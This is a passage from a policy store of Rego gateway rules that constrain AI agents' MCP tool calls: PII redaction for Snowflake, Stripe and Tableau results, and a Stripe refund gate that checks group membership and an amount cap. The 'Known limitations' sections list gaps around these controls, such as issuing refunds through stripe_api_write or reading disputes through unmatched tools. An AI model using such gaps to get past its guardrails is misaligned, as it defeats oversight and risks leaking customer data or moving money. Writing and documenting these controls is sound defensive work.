it. ```rego package snowflake.egress.redact_pii # Transform-only egress policy: rewrites SSN, email, and phone patterns in the # result sets returned by Snowflake's result-returning MCP tools to fixed # redaction tokens before the response reaches the agent. Never denies — a # legitimate query still succeeds, just with sensitive fields masked. A backstop # for tables that lack Snowflake dynamic data masking policies. Callers in the # placeholder `pii-cleared` IdP group receive unredacted responses; the group # check fails closed, so a caller with missing claims gets over-redaction, never # disclosure. Cardholder PAN masking is left to the companion mask-pan-egress # (PF-01) policy. default allow := true # ----------------------------------------------------------------------------- # Scope: the result-returning Snowflake tools. The gateway prefixes tool names # with the configured MCP server name (not standardised), so we match by # suffix, case-insensitively. # # The first three are VERIFIED wire names from the two open-source servers. The # last three are the managed server's tool-TYPE identifiers, which are NOT # guaranteed to be the wire name (managed-server tools are admin-named and the # type is not visible at call time) — they are matched opportunistically. Pin # your managed/Cortex deployment's actual tool names here. See the policy's # Known limitations. # ----------------------------------------------------------------------------- pii_result_suffixes := { # Community server (isaacwasserman) — verified: SELECT-only query tool "read_query", # Snowflake-Labs server — verified: SQL passthrough + semantic-view read "run_snowflake_query", "query_semantic_views", # Managed server — tool-TYPE constants (see note above), not guaranteed names "system_execute_sql", "cortex_search_service_query", "cortex_analyst_message", } is_pii_result_tool if { input.mode == "output" some suffix in pii_result_suffixes endswith(lower(object.get(object.get(input, "resource", {}), "name", "")), suffix) } is_pii_result_tool if { # Egress hooks also expose the tool name under tool_metadata.name — check # both so we match regardless of which surface the gateway populates. input.mode == "output" some suffix in pii_result_suffixes meta := object.get(input, "tool_metadata", {}) endswith(lower(object.get(meta, "name", "")), suffix) } # ----------------------------------------------------------------------------- # Group exemption — placeholder IdP group whose members receive unredacted # responses. Replace "pii-cleared" with your IdP's group name at import time. # object.get chains mean a missing subject/claims/groups claim is never # cleared: the grant fails closed and redaction applies. # ----------------------------------------------------------------------------- exempt_groups := {"pii-cleared"} caller_groups := object.get( object.get(object.get(input, "subject", {}), "claims", {}), "groups", [], ) is_exempt if { some g in caller_groups lower(g) in exempt_groups } is_exempt if { # Some IdPs emit a single group as a bare string rather than an array. is_string(caller_groups) lower(caller_groups) in exempt_groups } # ----------------------------------------------------------------------------- # Detection patterns — anchored and conservative to limit false positives on # free-text warehouse columns. # ----------------------------------------------------------------------------- # US SSN in the canonical hyphenated form only. Bare 9-digit runs collide with # row IDs and sequence values, so they are deliberately not matched. ssn_pattern := `\b\d{3}-\d{2}-\d{4}\b` # Email addresses, word-boundary anchored: local part, "@", domain, TLD of at # least two letters. Conservative TLD class keeps it from firing on stray "@". email_pattern := `\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b` # Separator-formatted US phone numbers (e.g. 206-555-0100, (206) 555-0100, # +1 206.555.0100). Bare 10-digit runs are deliberately not matched. The 3-3-4 # grouping is disjoint from the SSN 3-2-4 grouping, so the two never collide. phone_pattern := `(?:\+?1[-. ])?(?:\(\d{3}\)|\b\d{3})[-. ]\d{3}[-. ]\d{4}\b` # ----------------------------------------------------------------------------- # Redaction steps — each is total over strings: it returns the input unchanged # when its class doesn't apply, so the steps chain safely. # ----------------------------------------------------------------------------- redact_ssn(t) := regex.replace(t, ssn_pattern, "[REDACTED-SSN]") redact_phone(t) := regex.replace(t, phone_pattern, "[REDACTED-PHONE]") redact_email(t) := regex.replace(t, email_pattern, "[REDACTED-EMAIL]") # Order: SSN first (fixed 3-2-4 shape), then phones (3-3-4, disjoint from SSN), # then emails (contain "@", disjoint from both digit patterns). The redaction # tokens contain no digits-with-separators or "@", so no step can re-match a # token emitted by an earlier step. redact_block(b) := redact_email(redact_phone(redact_ssn(b))) if { is_string(b) } # Non-string content blocks (structured blocks) pass through unmodified. redact_block(b) := b if { not is_string(b) } # ----------------------------------------------------------------------------- # Transform — emitted only when in scope, the caller is not cleared, and at # least one block actually changed. Otherwise the rule is undefined and the # aggregator skips this policy, returning the response byte-identical. # ----------------------------------------------------------------------------- response_payload := object.get(input, "payload", {}) text_blocks := object.get(response_payload, "text", []) redacted_blocks := [out | some block in text_blocks out := redact_block(block) ] transform := { "transformed_payload": object.union(response_payload, {"text": redacted_blocks}), } if { is_pii_result_tool not is_exempt is_array(text_blocks) redacted_blocks != text_blocks } ``` ### Stripe Refund Group Gate and Amount Cap URL: https://www.intentbasedpolicy.com/policies/stripe/gate-money-movement-refund-cap App(s): stripe | Direction: ingress | Bundles: pci-dss, sox | Package: stripe.ingress.gate_money_movement_refund_cap | Published: 2026-07-12 | Tags: stripe, gate-money-movement, ingress, pci-dss, sox Source: https://github.com/dtwoai/policy-store/blob/main/apps/stripe/gate-money-movement-refund-cap/policy.md # stripe / gate-money-movement-refund-cap **Direction:** ingress (`tool_pre_invoke`) **Default:** deny refund tools unless group-authorized and under the cap; allow everything else **Package:** `stripe.ingress.gate_money_movement_refund_cap` ## What it does Denies Stripe refund tool calls — money out, irreversible — unless the caller's IdP groups include `finance` or `billing-admin`. Even for those groups, it denies any refund whose `amount` exceeds a configured ceiling (default `50000` = $500.00, in cents). Because the Stripe API treats an **omitted `amount` as a full refund** of the payment intent, a missing `amount` is treated as unbounded and denied above the ceiling — only refunds with an explicit positive amount at or under the ceiling go through. The check runs at ingress, before the call reaches Stripe, so a blocked refund never moves money. All non-refund tool calls pass through unchanged. ## Compliance alignment - **PCI DSS 7.2.1 / 7.2.2** — supports the least-privilege access model by restricting a money-moving operation on the payment platform to defined finance roles. - **SOX ITGC (access to programs and data)** — supports least-privilege access to a financial system on the agent channel; **Rule 13a-15(f)(3)** — supports safeguarding of assets by capping the unattended outflow an agent can trigger; **Rule 13a-15(f)(2)(ii)** — supports transaction authorization via the amount threshold, above which a human must act in the Stripe dashboard. - **SOC 2 CC6.3** — supports role-based access and segregation of duties: refund initiation through the agent is limited to finance groups, and larger refunds are separated out to human approval. ## Tool name matching The policy matches refund tools by suffix on `lower(input.resource.name)`: - `*create_refund` — the official Stripe MCP server's dedicated refund tool. The same name is used by the current meta-tool server (mcp.stripe.com / `@stripe/mcp` ≥ 0.9) and the legacy per-resource v0.8.x tool set. - `*refund_create` — the community `atharvagupta2003/mcp-stripe` server uses inverted `noun_verb` names, which breaks suffix symmetry with the official naming; matched explicitly. The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `stripe-mcp-create_refund`), and that prefix is not standardized — suffix matching keeps the policy portable. Verify the exact name your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape Verified from the official server source: `create_refund` takes `{ payment_intent: string, amount?: int }` with `amount` in **cents** and an omitted `amount` meaning a full refund. The policy reads `object.get(input.payload.args, "amount", 0)`, so: - missing `amount` → default `0` → not a positive explicit amount → denied (unbounded full refund); - explicit `amount` of `0` or a non-numeric value → denied (fail closed); - explicit positive `amount` ≤ `refund_ceiling` → allowed for permitted groups. Amounts are in the currency's smallest unit — see Known limitations for non-cent currencies. ## Identity gate The caller must present an IdP `groups` claim (array of strings, compared case-insensitively) containing `finance` or `billing-admin`. Claims are read with `object.get` chains, so a caller with no claims, no `groups` claim, or an unpopulated `input.subject` **fails closed**: no group → denied. ## Examples ### Allowed — finance member, refund under the cap ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "stripe-mcp-create_refund", "type": "tool" }, "subject": { "sub": "auth0|jane", "claims": { "groups": ["finance"] } }, "payload": { "name": "stripe-mcp-create_refund", "args": { "payment_intent": "pi_3Abc", "amount": 2500 } } } } ``` `allow = true`, no reason. ### Denied — full refund (amount omitted), even for finance ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "stripe-mcp-create_refund", "type": "tool" }, "subject": { "sub": "auth0|jane", "claims": { "groups": ["finance"] } }, "payload": { "name": "stripe-mcp-create_refund", "args": { "payment_intent": "pi_3Abc" } } } } ``` `allow = false`, `reason = "This refund has no explicit amount or exceeds the 50000-cent ($500.00) ceiling ..."`. ## Composition This policy is single-purpose. Useful companions: - **A read-only Stripe gate** denying `*stripe_api_write` and the legacy write/destructive suffixes outside finance groups — `stripe_api_write` can issue refunds via `POST /v1/refunds` and this policy does not see inside it. - **A dispute-submit gate** on `*update_dispute` (deny or strip `submit: true`) — the other irreversible Stripe surface. - Stripe Restricted API Key (RAK) scoping — layer key permissions with gateway policy rather than relying on either alone. ## Known limitations - **Group names are placeholders — replace `finance` and `billing-admin` with your IdP's group names at import time.** The `groups` claim must be emitted by your IdP; many (including Auth0) require explicit configuration before group information reaches the token. - **`stripe_api_write` bypass.** The official meta-tool server can execute any Stripe `POST` method, including refund creation, through `*stripe_api_write`. This policy matches only dedicated refund tools; pair it with an API-write gate or allowlist policy. - **Currency-blind cap.** `amount` is in the currency's smallest unit. The default ceiling assumes a cent-denominated currency: 50000 JPY is ¥50,000 (zero-decimal), not $500. Tune `refund_ceiling` if you refund in zero-decimal currencies. - **Composio tool names unverified.** Composio's ~415-action Stripe toolkit uses its own `STRIPE_*` slug convention; whether its refund action ends in `create_refund` is unverified. Capture the live tool name from your gateway and extend `is_refund_tool` if needed. - **Treasury preview tools unverified.** Stripe's agentic-finance preview adds money-movement tools whose names are not published; they are not matched here — do not assume they are covered. - **MCP path only.** Refunds issued via the Stripe dashboard, direct API keys, or webhooks are outside the gateway's reach. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package stripe.ingress.gate_money_movement_refund_cap # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # Maximum agent-issued refund, in the currency's smallest unit # (50000 = $500.00 for cent-denominated currencies). Tune per tenant; # note zero-decimal currencies (e.g. JPY) count whole units. refund_ceiling := 50000 # IdP groups allowed to issue refunds through the agent. PLACEHOLDERS — # replace with your IdP's group names at import time. Compared # case-insensitively against the caller's `groups` claim. allowed_groups := {"finance", "billing-admin"} # Refund tools, matched by suffix so the gateway's server-name prefix # (e.g. `stripe-mcp-`) doesn't matter. `create_refund` covers the official # current and legacy servers; `refund_create` covers the community server's # inverted noun_verb naming. is_refund_tool if { endswith(lower(input.resource.name), "create_refund") } is_refund_tool if { endswith(lower(input.resource.name), "refund_create") } # Pass through any tool that isn't a refund call. allow if { not is_refund_tool } # Refunds go through only for permitted groups AND within the amount ceiling. allow if { is_refund_tool caller_in_allowed_group within_ceiling } # Fail closed on identity: missing subject, claims, or groups claim means # no membership and therefore no refund. caller_in_allowed_group if { claims := object.get(object.get(input, "subject", {}), "claims", {}) groups := object.get(claims, "groups", []) some group in groups allowed_groups[lower(group)] } # A refund is within the ceiling only when an explicit positive numeric # `amount` (smallest currency unit) is present and does not exceed # refund_ceiling. Stripe treats an omitted `amount` as a FULL refund of the # payment intent, so a missing amount (object.get default 0 here) is # unbounded and never within the ceiling. Non-numeric amounts fail closed. within_ceiling if { amount := object.get(input.payload.args, "amount", 0) is_number(amount) amount > 0 amount <= refund_ceiling } reasons contains "Agent-issued Stripe refunds are limited to members of the finance or billing-admin group. Ask someone in those groups to issue this refund from the Stripe dashboard. Contact your InfoSec team if you believe your access is misconfigured." if { is_refund_tool not caller_in_allowed_group } reasons contains "This refund has no explicit amount or exceeds the 50000-cent ($500.00) ceiling for agent-issued refunds; Stripe treats a missing amount as a full refund. Route this refund to a human in the Stripe dashboard. Contact your InfoSec team if the cap is blocking a legitimate refund." if { is_refund_tool not within_ceiling } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Stripe: Redact Customer PII from Bulk Reads URL: https://www.intentbasedpolicy.com/policies/stripe/redact-pii-egress-customer App(s): stripe | Direction: egress | Bundles: soc2, gdpr-ccpa | Package: stripe.egress.redact_pii_customer | Published: 2026-07-12 | Tags: stripe, redact-pii, pii, dlp, redaction, egress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/stripe/redact-pii-egress-customer/policy.md # stripe / redact-pii-egress-customer **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `stripe.egress.redact_pii_customer` ## What it does Masks customer PII in the responses of Stripe's bulk PII egress channels before they reach the agent. On responses from `*list_customers`, `*search_stripe_resources`, `*fetch_stripe_resources`, and `*stripe_api_read`, the policy rewrites these fields to fixed redaction tokens: | Field | Where it appears | Token | |---|---|---| | `email` | customer objects, `billing_details`, receipts | `[REDACTED-EMAIL]` | | any `*phone*` key | customer objects, `billing_details`, `shipping`, dispute evidence (`customer_phone_number`, `phone_number`) | `[REDACTED-PHONE]` | | any `*address*` key | customer objects, `billing_details`, `shipping`, dispute evidence (`billing_address`, `shipping_address`) — object or string value | `[REDACTED-ADDRESS]` | | `last4` | cards, payment methods, bank accounts | `[REDACTED-LAST4]` | The phone and address rewrites match any JSON key whose name *contains* `phone` or `address` (case-insensitively), so compound keys reached through the meta-tools (`fetch_stripe_resources`/`stripe_api_read` can return dispute objects whose evidence carries `billing_address`, `shipping_address`, and `customer_phone_number`) are masked, not just the bare `phone`/`address` keys. Over-matching a benign `*address*` key on egress is over-redaction, not disclosure. A generic email-address pattern also runs over the response text, so an email embedded in prose (e.g. a `description` string) is masked even when it is not under an `email` key. The policy is transform-only (`default allow := true`): it never denies a call, so a legitimate customer lookup still succeeds — it just comes back with identifiers masked and the record structure (IDs, created timestamps, subscription status, currency, amounts) intact. Responses with no matches, and all out-of-scope tools, pass through byte-identical. Every field is read via `object.get`, so a missing or oddly-shaped payload is never an error — it simply passes through. **Scope note:** Stripe never returns raw PANs — PCI scope for card numbers stays with Stripe. What these channels do leak is *linkable* PII: a customer list pairs name + email + phone + address, and card records add `last4`, which together identify and profile real people. This policy targets that linkable set, not PAN (see the companion `mask-pan-egress` family for PAN masking on apps that can return card numbers). ### Group exemption Redaction is gated by IdP group. Callers whose `groups` claim contains `finance` (a placeholder name — see Known limitations) receive the response **unmodified**. The check reads `input.subject.claims.groups` via `object.get` chains: a missing subject, missing claims, or missing `groups` claim means the caller is *not* in finance and receives the redacted view — the grant fails closed, toward redaction. That failure mode is safe: a caller whose claims fail to arrive gets over-redaction, never disclosure. ## Compliance alignment - **SOC 2 CC6.7** — supports restricting the transmission/movement of confidential information by masking direct identifiers in Stripe reads as they leave the gateway toward the agent. - **SOC 2 C1.1** — supports identification and protection of confidential information on the payments read path; **P4.1** — supports limiting personal-information use to identified purposes (agents get working records without identifiers they don't need); **P6.1** — supports controls over personal-information disclosure by keeping raw identifiers out of agent context. - **GDPR Art. 5(1)(c)** — data minimisation on agent reads of customer personal data: non-finance callers see the record, not the identifiers; **Art. 5(1)(f) / Art. 32** — supports security of processing on the agent channel. - **CCPA/CPRA §1798.150** — reduces nonredacted-PI breach exposure if agent context or downstream logs are later compromised. ## Why egress The PII already lives in Stripe — there is nothing to block at ingress, and denying customer reads outright would make the agent useless for everyday billing-support work. The leak happens when the customer list or fetched object is returned to the MCP client, so the response path is the only place to catch it while keeping the result useful. Gating *which* tools and endpoints can be called at all is a separate concern handled by companion ingress policies. ## Tool name matching Applies on the output path (`input.mode == "output"`) to the bulk PII egress channels identified in the Stripe landscape review, matched case-insensitively **by suffix** from `input.resource.name` with `input.tool_metadata.name` as a fallback. Suffix matching keeps the policy portable across the gateway server-name prefix (which is not standardised — different deployments name the Stripe MCP server differently). - `*list_customers` — legacy per-resource customer listing (v0.8.x `@stripe/mcp`, Claude Desktop `.dxt`, pre-migration agent-toolkit embeds) - `*search_stripe_resources` — official server cross-object search (customers, charges, invoices, …) - `*fetch_stripe_resources` — official server fetch-any-object-by-ID - `*stripe_api_read` — official server execute-any-GET meta-tool All four names are verified from docs.stripe.com/mcp and the `stripe/ai` repo history. Verify the exact names your gateway emits with the dump-input debug technique before relying on this in production. ## Response shape The policy reads `input.payload.text` — the MCP content-block array the gateway populates on `tool_post_invoke` — and rewrites each string block. Stripe MCP tools return serialized JSON API objects in those blocks, so the field rewrites use key-anchored patterns (`"email": "…"`, `"address": {…}`, `"last4": "…"`) that replace only the value and keep the surrounding JSON valid and parseable. Non-string blocks pass through unmodified. When at least one block changes, the policy emits `transform.transformed_payload` containing the original payload with the rewritten `text` array (all other payload keys preserved). When nothing changes, no transform is emitted and the response passes through byte-identical. ## Examples ### Redacted (in-scope tool, non-finance caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "stripe-list_customers", "type": "tool" }, "subject": { "sub": "auth0|u1", "claims": { "groups": ["support"] } }, "payload": { "name": "stripe-list_customers", "text": ["{\"id\": \"cus_9s6XKzkNRiz8i3\", \"name\": \"Jane Diaz\", \"email\": \"jane@acme.com\", \"phone\": \"+15551234567\", \"address\": {\"city\": \"Seattle\", \"line1\": \"1 Main St\"}}"] } } } ``` `allow = true`, with `transform.transformed_payload.text` = `["{\"id\": \"cus_9s6XKzkNRiz8i3\", \"name\": \"Jane Diaz\", \"email\": \"[REDACTED-EMAIL]\", \"phone\": \"[REDACTED-PHONE]\", \"address\": \"[REDACTED-ADDRESS]\"}"]`. ### Passed through (finance caller) ```jsonc { "input": { "action": "tool_post_invoke", "mode": "output", "resource": { "name": "stripe-search_stripe_resources", "type": "tool" }, "subject": { "sub": "auth0|u2", "claims": { "groups": ["finance"] } }, "payload": { "name": "stripe-search_stripe_resources", "text": ["{\"email\": \"jane@acme.com\"}"] } } } ``` `allow = true`, no `transform` — the `finance` group receives the raw response. ## Composition Single-purpose transform policy (`default allow := true`); it composes cleanly with deny/transform policies on the same pipeline. Recommended companions for `apps/stripe`: - **`deny-escape-hatches-api-write`** — this policy masks the read path; that one closes the `stripe_api_write` write escape hatch. - **`gate-money-movement-refund-cap`** — caps refunds on the money-out path. - A **`cap-bulk-export`-style ingress guard** (PF-08) clamping `limit` on list/search calls, bounding the blast radius of any redaction miss. - A **`role-gate-writes`-style ingress policy** (PF-12) keeping the agent read-only for non-finance groups in the first place. Layer with Stripe Restricted API Key (RAK) scoping — DTwo policy and key scoping are complementary control planes, not either/or. ## Known limitations - **Group names are placeholders — replace `finance` with your IdP's group name at import time.** The exemption expects the `groups` claim as an array of strings (a single bare string is also handled); if your IdP emits roles under a namespaced claim, adjust `caller_groups`. Missing claims always mean the redacted view — the failure mode is over-redaction, never disclosure. Never rely on stripped ContextForge-internal claims (`is_admin`, `teams`, `user`) for the exemption. - **Customer `name` is not redacted.** The policy masks the fields that make a name linkable and contactable (email, phone, address, last4); a bare name with no other identifiers is left so results stay usable for support workflows. Add a `"name"` key pattern if your posture requires masking it too. - **Key-anchored patterns assume Stripe's serialized-JSON response shape.** The field rewrites match Stripe's serialized JSON keys as its API emits them: `"email"` exactly, any key *containing* `phone` or `address` (case-insensitively, so `billing_address`/`customer_phone_number` are covered), and `"last4"` exactly. What is *not* matched: a value under a differently-worded key (e.g. a mobile number under `"mobile"` or a location under `"location"`), `last4` outside the `"last4"` key, and PII in reformatted prose (e.g. `Email — jane@acme.com`, which is covered for email only via the generic email pattern). A bare `4242` in prose is not matched — four digits alone would over-fire on amounts and dates. Note that a compound *email* key (`customer_email_address`) is masked, but with the `[REDACTED-ADDRESS]` token rather than `[REDACTED-EMAIL]` because the address rewrite runs first — the value is still fully redacted, only the token label differs. - **Other Stripe read surfaces are out of scope.** `get_stripe_account_info` (account business email), `stripe_report` (report runs can embed customer columns), and the remaining legacy list tools (`list_invoices`, `list_payment_intents`, `list_subscriptions`, and **`list_disputes`** — whose dispute objects carry the most customer PII of the legacy read tools: `customer_name`, `customer_email_address`, `billing_address`, `shipping_address`) are not matched, so a whole-list read through one of those tool names passes through unredacted. Only the four verified bulk channels in `bulk_read_suffixes` are in scope; extend it if your deployment exposes these and your posture requires it. - **Non-official servers break suffix symmetry.** The community `atharvagupta2003/mcp-stripe` server uses inverted `noun_verb` names (e.g. `customer_list`) and Composio uses `STRIPE_*` slugs across ~415 tools — neither matches this suffix set. Pin your deployment's actual tool names in `bulk_read_suffixes`. Treasury "agentic finance" preview tool names are unpublished (unverified) and therefore not matched. - **PAN is a non-issue on this surface, by Stripe's design.** The Stripe API never returns full card numbers, so no PAN masking is attempted here; `last4` is the only card identifier present and it is masked. - **The generic email pattern can over-match** `user:password@host` substrings inside connection-string-shaped values. On egress this is over-redaction (safe), not disclosure. - **Non-string content blocks pass through unmodified.** Redaction applies to string entries of `input.payload.text` (including serialized-JSON strings). If your gateway emits structured non-string blocks for Stripe results, verify their shape with the dump-input technique. - **Egress `transformed_payload` replaces the response payload wholesale.** Verify the rewrite against your gateway version with the dump-input technique before production, and mind attachment order if other egress transforms run on the same pipeline. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package stripe.egress.redact_pii_customer # Transform-only egress policy: masks customer email, phone, address, and card # last4 in the responses of Stripe's bulk PII egress channels (list_customers, # search_stripe_resources, fetch_stripe_resources, stripe_api_read) before the # response reaches the agent. Never denies — a legitimate lookup still # succeeds, just with identifiers masked. Stripe never returns raw PANs (PCI # scope stays with Stripe), so this targets linkable PII (name + email + # last4), not PAN. Callers in the placeholder `finance` IdP group receive # unmodified responses; the group check fails closed, so a caller with missing # claims gets the redacted view, never disclosure. default allow := true # ----------------------------------------------------------------------------- # Scope: the bulk PII egress channels. The gateway prefixes tool names with the # configured MCP server name (not standardised), so we match by suffix, # case-insensitively. All four names are verified from docs.stripe.com/mcp and # the stripe/ai repo history (legacy v0.8.x tool set). Community/aggregator # servers use different shapes (customer_list, STRIPE_*) — pin your # deployment's names here. See the policy's Known limitations. # ----------------------------------------------------------------------------- bulk_read_suffixes := { # Legacy per-resource customer listing (v0.8.x @stripe/mcp, .dxt manifest) "list_customers", # Official server — cross-object search (customers, charges, invoices, ...) "search_stripe_resources", # Official server — fetch any Stripe object by ID "fetch_stripe_resources", # Official server — execute any Stripe API GET method "stripe_api_read", } is_bulk_pii_tool if { input.mode == "output" some suffix in bulk_read_suffixes endswith(lower(object.get(object.get(input, "resource", {}), "name", "")), suffix) } is_bulk_pii_tool if { # Egress hooks also expose the tool name under tool_metadata.name — check # both so we match regardless of which surface the gateway populates. input.mode == "output" some suffix in bulk_read_suffixes meta := object.get(input, "tool_metadata", {}) endswith(lower(object.get(meta, "name", "")), suffix) } # ----------------------------------------------------------------------------- # Group exemption — placeholder IdP group whose members receive unmodified # responses. Replace "finance" with your IdP's group name at import time. # object.get chains mean a missing subject/claims/groups claim is never # exempt: the grant fails closed and redaction applies. # ----------------------------------------------------------------------------- finance_groups := {"finance"} caller_groups := object.get( object.get(object.get(input, "subject", {}), "claims", {}), "groups", [], ) is_finance if { some g in caller_groups lower(g) in finance_groups } is_finance if { # Some IdPs emit a single group as a bare string rather than an array. is_string(caller_groups) lower(caller_groups) in finance_groups } # ----------------------------------------------------------------------------- # Redaction steps. Stripe MCP tools return serialized JSON API objects in the # response content blocks, so the field rewrites are anchored to Stripe's # lowercase snake_case JSON keys and replace only the value (the ${1} capture # keeps the key), leaving the surrounding JSON valid and parseable. Each step # is total over strings: it returns its input unchanged when its pattern # doesn't apply, so the steps chain safely. # ----------------------------------------------------------------------------- # `"...address...": {...}` — customer/billing_details/shipping address objects. # The key match accepts any JSON key that *contains* `address` (case- # insensitive) so compound keys like `billing_address` / `shipping_address` # — which appear in dispute evidence and Checkout/PaymentIntent shapes reached # via fetch_stripe_resources / stripe_api_read — are covered, not just the bare # `address` key. Stripe address objects are flat ({city, country, line1, line2, # postal_code, state}), so a non-nested {...} match suffices. Null addresses # carry no PII and are left alone. Over-matching a non-PII "*address*" key on # egress is over-redaction (safe), never disclosure. redact_address_object(t) := regex.replace( t, `(?i)("[a-z0-9_]*address[a-z0-9_]*"\s*:\s*)\{[^{}]*\}`, `${1}"[REDACTED-ADDRESS]"`, ) # `"...address...": "..."` — string-valued address fields (dispute-evidence # `billing_address`/`shipping_address` free text, metadata copies, etc.). redact_address_string(t) := regex.replace( t, `(?i)("[a-z0-9_]*address[a-z0-9_]*"\s*:\s*)"[^"]*"`, `${1}"[REDACTED-ADDRESS]"`, ) # `"email": "..."` — customer, billing_details, and receipt email fields. Other # email-bearing keys (`receipt_email`, `customer_email_address`, prose) are # caught by the generic email sweep below. redact_email_field(t) := regex.replace( t, `("email"\s*:\s*)"[^"]*"`, `${1}"[REDACTED-EMAIL]"`, ) # `"...phone...": "..."` — customer, billing_details, shipping, and dispute- # evidence phone fields. The key match accepts any JSON key that *contains* # `phone` (case-insensitive) so `customer_phone_number` / `phone_number` are # covered, not just the bare `phone` key. Over-redaction on egress is safe. redact_phone_field(t) := regex.replace( t, `(?i)("[a-z0-9_]*phone[a-z0-9_]*"\s*:\s*)"[^"]*"`, `${1}"[REDACTED-PHONE]"`, ) # `"last4": "..."` — card / payment-method / bank-account last-four digits. redact_last4_field(t) := regex.replace( t, `("last4"\s*:\s*)"[^"]*"`, `${1}"[REDACTED-LAST4]"`, ) # Bare email addresses anywhere in the text (word-boundary anchored: # local part, "@", domain, TLD of at least two letters) — catches emails # embedded in prose/description strings outside an "email" key. redact_email_text(t) := regex.replace( t, `\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b`, "[REDACTED-EMAIL]", ) # Order: the key-anchored field rewrites first (their tokens contain no "@", # braces, or quoted digits, so no later step can re-match an emitted token), # then the generic email sweep over whatever text remains. redact_block(b) := redact_email_text( redact_last4_field( redact_phone_field( redact_email_field( redact_address_string(redact_address_object(b)), ), ), ), ) if { is_string(b) } # Non-string content blocks (structured blocks) pass through unmodified. redact_block(b) := b if { not is_string(b) } # ----------------------------------------------------------------------------- # Transform — emitted only when in scope, the caller is not in the finance # group, and at least one block actually changed. Otherwise the rule is # undefined and the aggregator skips this policy, returning the response # byte-identical. # ----------------------------------------------------------------------------- response_payload := object.get(input, "payload", {}) text_blocks := object.get(response_payload, "text", []) redacted_blocks := [out | some block in text_blocks out := redact_block(block) ] transform := { "transformed_payload": object.union(response_payload, {"text": redacted_blocks}), } if { is_bulk_pii_tool not is_finance is_array(text_blocks) redacted_blocks != text_blocks } ``` ### Tableau: Redact PII & Mask PANs in Query Results URL: https://www.intentbasedpolicy.com/policies/tableau/redact-pii-query-results App(s): tableau | Direction: egress | Bundles: soc2, gdpr-ccpa | Package: tableau.egress.redact_pii_query_results | Published: 2026-07-12 | Tags: tableau, redact-pii-egress, pii, pan, dlp, redaction, egress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/tableau/redact-pii-query-results/policy.md # tableau / redact-pii-query-results **Direction:** egress (`tool_post_invoke`) **Default:** allow (transform-only — never denies) **Package:** `tableau.egress.redact_pii_query_results` ## What it does Tableau is a warehouse proxy: the data-returning tools stream raw row-level content out of whatever the published datasource connects to — PII, PHI, payroll, and cardholder data — and Tableau's own row-level security applies only if the site configured it. This egress policy scans the CSV / JSON / text body of the data-returning Tableau tools and rewrites sensitive values in place before the response reaches the agent: | Class | Detection | Result | |---|---|---| | Email address | RFC-shaped `local@domain.tld`, word-boundary anchored | `[REDACTED-EMAIL]` | | US phone number | separator-formatted (`206-555-0100`, `(206) 555-0100`, `(206)555-0100`, `+1 206.555.0100`) | `[REDACTED-PHONE]` | | National-ID / US SSN | canonical hyphenated `XXX-XX-XXXX` form | `[REDACTED-SSN]` | | Cardholder PAN | Luhn-validated 13–19-digit card shapes | masked to **BIN + last4** (`411111******1111`) | Every other value — and every non-matching response — passes through byte-identical. The policy never blocks a call: a legitimate query still succeeds, it just comes back with identifiers masked. A PAN is only masked after it passes the Luhn checksum, so ordinary long numbers (row counts, order IDs, epoch timestamps, join keys) are left intact. PANs are masked **first**, then SSN, phone, and email are redacted. The four classes are shape-disjoint — the PAN mask output (`411111******1111`) contains no hyphens, separators, or `@`, so no later step can re-match it; a hyphenated SSN (9 digits) and a separator-formatted phone (10 digits) are both too short for the 13–19-digit PAN shapes — so the order is safe either way. ### Group exemption Redaction is gated by IdP group. Callers whose `input.subject.claims.groups` contains `data-analysts` (a placeholder name — see Known limitations, matched **case-insensitively** so `Data-Analysts`/`DATA-ANALYSTS` also match) receive **unredacted, unmasked** responses. The check reads the groups claim via `object.get` chains and requires it to be an **array** of strings (a single bare string is also accepted): a missing subject, missing claims, missing `groups` claim, or a malformed `groups` shape (object, number, null) means the caller is *not* exempt and redaction applies. The grant fails closed — a caller whose claims fail to arrive gets over-redaction, never disclosure. ## Why egress The PII/PAN already lives in the warehouse behind the datasource — there is nothing to block at ingress, and denying `query-datasource` / `get-view-data` outright would make the agent useless for everyday analytics. The leak happens when the result set is returned to the MCP client, so the response path is the only place to catch it while keeping the result useful. ## Compliance alignment - **PCI DSS 3.4.1** — supports masking of PAN when displayed: the agent channel shows at most BIN+last4, with full-PAN visibility limited to the `data-analysts` role. **PCI DSS 3.4.2** — supports preventing PAN copy/relocation via remote-access technologies: an agent that only receives the masked PAN cannot re-post the full card number into other tools, tickets, or files. **PCI DSS 12.10.7** — a PAN returned from an unexpected warehouse column is a classic PAN-where-not-expected incident trigger, and the gateway's decision/transform audit events give the incident process a signal. - **HIPAA §164.502(b) / §164.514(d)** — supports minimum-necessary, role-based limits: only the placeholder `data-analysts` group sees raw identifiers. **§164.514(a)–(b)** — supports de-identification by stripping Safe-Harbor identifier classes (SSN, email, phone) from responses. **§164.530(c)** — privacy safeguards on the agent read path. - **SOC 2 CC6.7** — supports restricting the transmission/movement of confidential information by masking direct identifiers in query results as they leave the gateway. **C1.1** — identification and protection of confidential information on the warehouse read path. **P4.1** — limiting personal-information use to identified purposes. **P6.1** — controls over personal-information disclosure to third parties (the agent). - **GDPR Art. 5(1)(c)** — data minimisation on agent reads of personal data. **Art. 9** — reduces special-category exposure where identifiers co-occur with health/HR columns. **Art. 5(1)(f) / Art. 32** — security of processing. 